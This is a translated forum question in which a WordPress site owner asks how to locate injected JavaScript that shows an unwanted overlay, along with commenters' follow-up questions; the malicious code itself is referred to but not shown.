我在代码中尝试了 grep,但找不到任何东西,我使用 MySQL 转储完整数据库,但在那里没有找到任何东西。
我运行了 clamscan,但找不到任何问题,我怀疑 Visual Composer,但是当我在 Visual Composer 中 grep 时,我没有看到此代码。
更新
这是网站在被感染时显示的内容:
您可以通过转到 Chrome 开发工具控制台并查看变量 ZJPMAWHWOE 的值来检查该消息和按钮的来源(叠加层,不应存在),这将为您提供一堆JS 代码,但在变量中它是加密的,一旦代码运行并被解密,它就是上面发布的 JS 代码。
如果您访问网站 https://sitecheck.sucuri.net/ 并检查您的网站,那么您将收到他们的感染警报:
【问题讨论】:
-
你怎么知道它可疑?此外,有关此代码的存储位置、文件名等的更多信息。stackoverflow.com/help/how-to-ask
-
有些代码肯定是可疑的。你是怎样找到它的。它是作为单独文件加载还是作为内联文件加载?
-
你应该先弄清楚它是如何进入的,否则它会稍后再回来。
-
我可以在 Chrome 开发人员工具中看到这段代码......当我的 wordpress 页面加载时......我找不到这段代码在哪里......正如我所说......我做了 grep数据库转储上的所有文件和 grep 也
-
您使用的是哪个版本的 WordPress?我目前遇到了同样的问题。
